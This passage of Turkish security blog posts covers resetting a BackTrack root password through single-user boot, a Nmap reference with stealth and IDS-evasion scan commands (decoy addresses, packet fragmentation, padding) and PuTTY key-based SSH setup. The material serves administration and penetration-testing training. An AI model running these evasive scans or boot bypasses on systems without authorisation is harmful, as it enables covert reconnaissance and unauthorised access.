Aşağıdaki gibi bir ekran ile karşılaşılır:

3) text splash vga=791 olarak biten satırın ro ve sonrasındaki kısmı silindikten sonra rw init=/bin/bash metni eklendikten sonra son durum aşağıdaki gibi olmaktadır.

4) <CTRL>+<x> tuşlarına beraber basılarak sistemin single user mode'da açılması sağlanır. Sistem yüklendiğinde konsoldan da görülebileceği üzere root hakkıyla oturum açılmaktadır.
5) Bu aşamadan sonra passwd komutu ile root parolası resetlenebilir.

6) reboot -f komutu ile sistem yeniden yüklenerek değiştirilen root parolası ile oturum açılabilir.

Benzer işlem Kali üzerinde de gerçekleştirilebilir. Ayrıntılı bilgi için bakınız.

Kaynak:
http://www.agguvenligi.net/2013/01/backtrack5-single-user-mode-ile-root.html

Temel Nmap Komutları

Temel Nmap Komutları


Nmap ile ağ taraması gerçekleştirirken dikkat edilmesi gereken önemli bir noktada taramanın gizliliğinin sağlanmak ve IDS vb. tarafından tespiti güçleştirmektir. Bunu nedenle görünmez olarak tarama gerçekleştirmek için aşağıdaki seçeneklerden faydalanılabilir:

-T<0-5>: Tarama hızı (Daha yüksek daha hızlı)
--max-hostgroup <size>: Eş zamanlı taranacak grup boyutu. Aynı anda kaç bilgisayarın taranacağını belirtir.
--max-parallelism <numprobes>: Eş zamanlı sondalar. Aynı anda bir bilgisayara gönderilecek paket sayısıdır.
--max-retries <tries>: Sondaların yeniden gönderimi için deneme sayısı
--host-timeout <time>: Hedeften vazgeçme süresi
--scan-delay <time>: Sondalar arası gecikme (saniye). Gönderilen her bir paket arasında geçen süredir.
--max-rate <number>: Saniyede gönderilecek en fazla paket sayısı

Örnek bir tarama şablonu;
# nmap -sS -p 80,21-25,443 -T2 -n -Pn --open 192.168.2.0/24
gizlenmek üzere düzenlendiğinde
# nmap -sS -p 80 --open -n -Pn --max-hostgroup 1 --max-retries 0 --max-parallelism 10 --max-rate 2 --scan-delay 2 10.0.0.0/24
şeklinde bir kullanım gerçekleştirilebilir.

Decoy Scanning (-D): Tarama yapan kaynak IP adreslerinin arasında istenilen sahte IP adresleri gösterilebilir.
# nmap -sS -D microsoft.com,google.com hedef.com

Fragmentation (-f): Paketler parçalanarak gönderilir.  --mtu <value> parametresi belirtilerek 8'in katı olacak şekilde paket boyutu ayarlanabilir.
# nmap -sS -f hedef.com

Veri Uzunluğu (--data-length): Nmap'in ürettiği veri paketlerin boyutuna göre güvenlik cihazları tarafından düşürülme ihtimaline binaen verinin uzunluğu değiştirilebilir. Bu teknik ile ekstra olarak pakete padding eklenerek sıradan tarama paketlerinden farklı görünmesi sağlanabilir.
# nmap -sS --data-length=1333 hedef.com

Bahsedilen özelliklerin hepsini içeren bir tarama yapılandırması şu şekilde olabilir:
# nmap -D microsoft.com,google.com -sS -sV -T1 -f --mtu=24 --data-length=1333 hedef.com

Karışık örnekler
# nmap -p "*" -iL /tmp/IPListesi --exclude 192.168.168.34
# nmap -p U:53,111,137,T:21-25,80,139,8080 192.168.1.1
# nmap -T4 --open -sS -Pn -n --top-ports 100 192.168.254.0/24 -oG nmap_result

En çok kullanılan Nmap parametreleri
  • -sS: TCP SYN taraması
  • -T1: Çok yavaş tarama gerçekleştirilsin. T0, T1 ve T2 hızlarında paralel tarama gerçekleştirilemez.
  • -sT: TCP taraması
  • -oG: Grep ile filtrelenebilir özel formatta çıktı oluşturulur. Daha sonra da oluşan çıktı aşağıdaki gibi sorgulanabilir. Ayrıntılı bilgi için bakınız.
cat nmap_result | grep "22/open/tcp\|23/open/tcp\|80\open\tcp\|443/open/tcp" | cut -d " " -f2 | sort | uniq


Not: netcat aracı ile TCP taraması aşağıdaki gibi gerçekleştirilebilir:
nc -nvv -w 1 -z 192.168.200.5 3500-3900
  • -p : Tarama gerçekleştirilecek portlar
  • --open: Sadece açık portları gösterilsin
  • -n: DNS ismi çözme gerçekleştirilmesin
  • -Pn: Bütün hedeflerin ayakta olduğu varsayılsın
  • -F veya --top-ports 100: En çok kullanılan 100 port taransın
  • --exclude: Dahil edilmeyecek IP'ler
  • --excludefile: Dahil edilmeyecek IP listesi
  • -A: Ayrıntılı tarama (İşletim sistemi/versiyon tespiti)
  • -O: İşletim sistemi (OS) tespiti
  • -sV: Servis/versiyon tespiti
  • -sL: Taranacak IP listesinin dökümü
  • -sn: Ping taraması
  • -F: Hızlı tarama
  • -6: IPv6 tarama
  • --reason: Port durumunun (open, filtered, closed,... ) sebebi
  • --packet-trace: Gelen ve giden paketlerin listesi
  • --osscan-guess: Agresif olarak işletim sistemi tespiti ("-O" ile kullanılabilir)
  • -PS: TCP SYN taraması
  • -PA: TCP ACK taraması
  • -f: Küçük paketlerle IDS/FW atlatma

En çok kullanılan portlar - servisler
  • 21 - FTP - File Transfer Protokol
  • 22 - SSH - Secure Shell
  • 23 - Telnet 
  • 25 - SMTP - Simple Mail Transfer Protokol
  • 53 (UDP) - DNS - Domain Name Server 
  • 79 - Finger
  • 80 - HTTP - Hyper-Text Transfer Protokol
  • 88 - Kerberos
  • 110 - POP3 - Post Office Protokol 3
  • 123 (UDP) - NTP - Network Time Protocol
  • 135 - Microsoft RPC Endpoint Mapper
  • 137 - NetBIOS Name Services
  • 139 - NBNS - NetBIOS Session Service, WINS
  • 143 - IMAP - Internet Message Access Protocol
  • 161 (UDP) - SNMP - Simple Network Management Protokol
  • 389 - LDAP - Lightweight Directory Access Protocol
  • 443 - HTTPS - Secure HTTP
  • 445 - SMB, Microsoft-DS - Server Message Block
  • 513 (TCP) - Rlogin
  • 514 - RSH - Remote Shell, rsh, remsh
  • 514 (UDP) - Syslog
  • 902 - VMware
  • 1433 - MSSQL 
  • 1521 - Oracle Listener
  • 2049 - NFS - Network File System
  • 3306 - MySQL
  • 3389 - RDP - Remote Desktop Protokol
  • 5900 - VNC - Virtual Network Computing
  • 8080, 8081 - Proxy, Uygulama Sunucu

Versiyon taraması (-sV) ile elde edilebilecek bilgiler
  • Uygulama protokolü (Örnek: FTP, SSH, Telnet, ...)
  • Uygulama adı (Örnek: ISC BIND, Apache httpd, ...)
  • Versiyon numarası
  • Sunucu adı
  • Cihaz türü (yazıcı, yönlendirici, ...)
  • İşletim sistemi ailesi (Windows, Linux, ...)

Tavsiye Edilen TCP Taraması:
nmap -Pn -n -sS -T4 --open --min-hostgroup 64 --min-parallelism 64 --host-timeout=300m --max-rtt-timeout=600ms --initial-rtt-timeout=300ms --min-rtt-timeout=300ms --max-retries=2 --min-rate=150 -p T:1,7,9,13,21-23,25,37,42,49,53,69,79-81,105,109-111,113,123,135,137-139,143,161,179,222,264,384,389,407,443,445,465,500,512-515,523,540,548,554,587,617,623,689,705,783,902,910,912,921,993,995,1000,1024,1099-1100,1158,1220,1300,1311,1352,1433-1435,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1900,2000,2049,2100,2103,2121,2207,2222,2323,2380,2525,2533,2598,2638,2947,2967,3000,3050,3057,3128,3306,3389,3500,3628,3632,3690,3780,3790,4000,4445,4659,4848,5038,5051,5060-5061,5093,5168,5250,5351,5353,5355,5400,5405,5432-5433,5554-5555,5560,5631-5632,5800,5900-5910,6000,6050,6060,6070,6080,6101,6106,6112,6379,6405,6502-6504,6660,6667,6905,7080,7144,7210,7510,7579-7580,7777,7787,8000,8008,8014,8028,8030,8080-8081,8090,8180,8222,8300,8333,8400,8443-8444,8503,8800,8812,8880,8888,8899,9080-9081,9090,9111,9152,9495,9999-10001,10050,10202-10203,10443,10616,10628,11000,11234,12174,12203,12397,12401,13364,13500,14330,16102,17185,18881,19300,19810,20031,20034,20222,22222,23472,25000,25025,26000,26122,27888,28222,30000,34443,38080,38292,41025,41523-41524,44334,46823,48899,50000-50004,50013,57772,62078,62514,65535 -iL /root/Desktop/Kurum/IPListesi.txt

Tavsiye Edilen UDP Taraması:
nmap -Pn -n -sU -T4 --open --min-hostgroup 64 --min-parallelism 64 --host-timeout=300m --max-rtt-timeout=600ms --initial-rtt-timeout=300ms --min-rtt-timeout=300ms --max-retries=2 --min-rate=150 -p U:13,53,69,123,111,161,1433,2049,6000 -iL /root/Desktop/Kurum/IPListesi.txt

Ayrıntılı bilgi için:
http://www.bga.com.tr/calismalar/nmap_guide.pdf
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/
http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
http://pentestlab.wordpress.com/2012/08/17/nmap-cheat-sheet/
http://ekaragol.blogspot.com.tr/2014/01/ornek-nmap-sorgusu.html

Videolu temel bilgilendirme için:
http://www.hackings.org/2012/06/backtrack-5-nmap-kullanm.html

Kaynak:
http://www.agguvenligi.net/2013/06/putty-ile-parolasiz-ssh.html

İpucu: PuTTY ile Parolasız Gizli Anahtarlı SSH Erişimi

PuTTY ile Parolasız Gizli Anahtarlı SSH Erişimi

SSH (Secure Shell) ağ üzerinden diğer bilgisayarlarda güvenli ve şifreli oturum açılmasını sağlar. Aynı zamanda uzaktaki sistemde komut çalıştırabilmenizi, bir bilgisayardan diğerine dosya taşıyabilmenizi, X oturumlarınızı güvenli bir şekilde kullanabilmenizi ve değişik TCP bağlantılarını güvenli bir şekilde yönlendirebilmenizi sağlar. Uçtan uca şifreleme ve karşılıklı kimlik doğrulama sağlarken iletişim bütünlüğünü de korur. İletişim güvenliği gerektiren hemen her türlü uygulamada (güvenli veritabanı bağlantısı, dosya transferi...) “güvenli tünel” olarak da kullanılabilir.
Bu notta Windows işletim sistemlerinde sıklıkla kullanılan SSH istemcisi olan PuTTY uygulaması ile bir SSH sunucusuna anahtar dosyası ile nasıl erişilebileceğinden bahsedilecektir.
Genel hatları itibarıyla aşağıdaki adımlar takip edilir:
1) Kullanıcı, kendisini tanımlamak için kullanacağı anahtar çiftini ssh-keygen programı ile üretir
2) Sunucu üzerinde “anahtar ile doğrulama” yöntemi ile giriş yapacağı hesaba açık anahtarını “güvenilen bir kullanıcı” olarak tanımlar
3) Kendi sistemi üzerinde yer alan gizli anahtar kullanıcının tanımlayıcısıdır.

Anahtar çiftinin üretilmesi için PuTTY ailesinden PuTTYgen uygulaması indirilir. Açıldığında aşağıdaki gibi bir ekran ile karşılaşılmakta olup Generate butonuna tıklanıldığında anahtar üretim işlemi gerçekleşecektir. Burada anahtarın yeterince rastgele üretilmesi için imleç hareketlerinden yararlanılmakta olup farenin belirtilen alan içinde hızlı hareketi süreci hızlandıracaktır.


Anahtar üretimi sonlandığında durum aşağıdaki gibi olmaktadır. Gizli anahtar dosyası Save private key butonuna tıklanarak güvenli bir yere kaydedilmelidir. Bu dosya ile hedef sistemlere parolasız erişilebileceğinden güvenliği yüksek yerde tutulması önerilmektedir.


Üretilen anahtar dosyası .ppk uzantılı olup içeriği aşağıdaki gibi olmaktadır. Bu dosyası herhangi bir metin düzenleyici uygulama ile açılıp içerisindeki Public-Lines sonrasındaki 4 satır kopyalanmalıdır.


Kopyalan bu satırların sonlarındaki CR karakterli silinerek tek bir satır haline getirilir. Bir kereye mahsus SSH sunucusuna parola ile bağlanıldıktan sonra ~/.ssh dizini altında authorized_keys dosyası oluşturularak içeriğine daha önce kopyaladığımız tek satırlık anahtar yerleştirilir. Örnek olarak aşağıdaki gibi bir komutla ile bu dosya ve içeriği oluşturulabilir.
# cd ~/.ssh/
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAugfOYs2RTAOW/bIA7E5r6je5t0l95 JmJ+Aa5oW0mKkB0mw4QcezO2Hjq8c23/1/GYdqjeS/v95dMcCDLL5kkZMy/WIPC1V+15p2WUf gu6iBp37fWaB+t36bmHznVa/zzxqu6aQM+rBBgQM9 q4nQ7NUp1qD9weg0SfJv5DOPrLe8="  > authorized_keys
authorized_keys dosyasının izinleri 600 olarak değiştirilmelidir. Bunun için
# chmod 600 authorized_keys
komutu kullanılabilir. Durumu özetleyen ekran görüntüsü aşağıdaki gibi olmaktadır.


Sonraki adımda istemci yapılandırması gerçekleştirilir. PuTTY istemcisi açıldıktan sonra Connection > Data menüsündeki kullanıcı adı girişi yapılır.


Connection>SSH>Auth menüsünde oluşturulan gizli anahtar dosyasının yolu belirtilir.


Session menüsünden bağlanılacak sistemin IP adresi girişi yapıldıktan sonra Login butonuna tıklanıldığında parolası olarak sisteme aşağıdaki gibi erişilebileceği görülebilir.

Bu işlemler yerine Linux üzerinde ssh-keygen kullanılarak da parolasız erişim sağlanabilir. Ayrıntılı bilgi için bakınız.

Kaynak:
http://www.agguvenligi.net/2013/06/putty-ile-parolasiz-ssh.html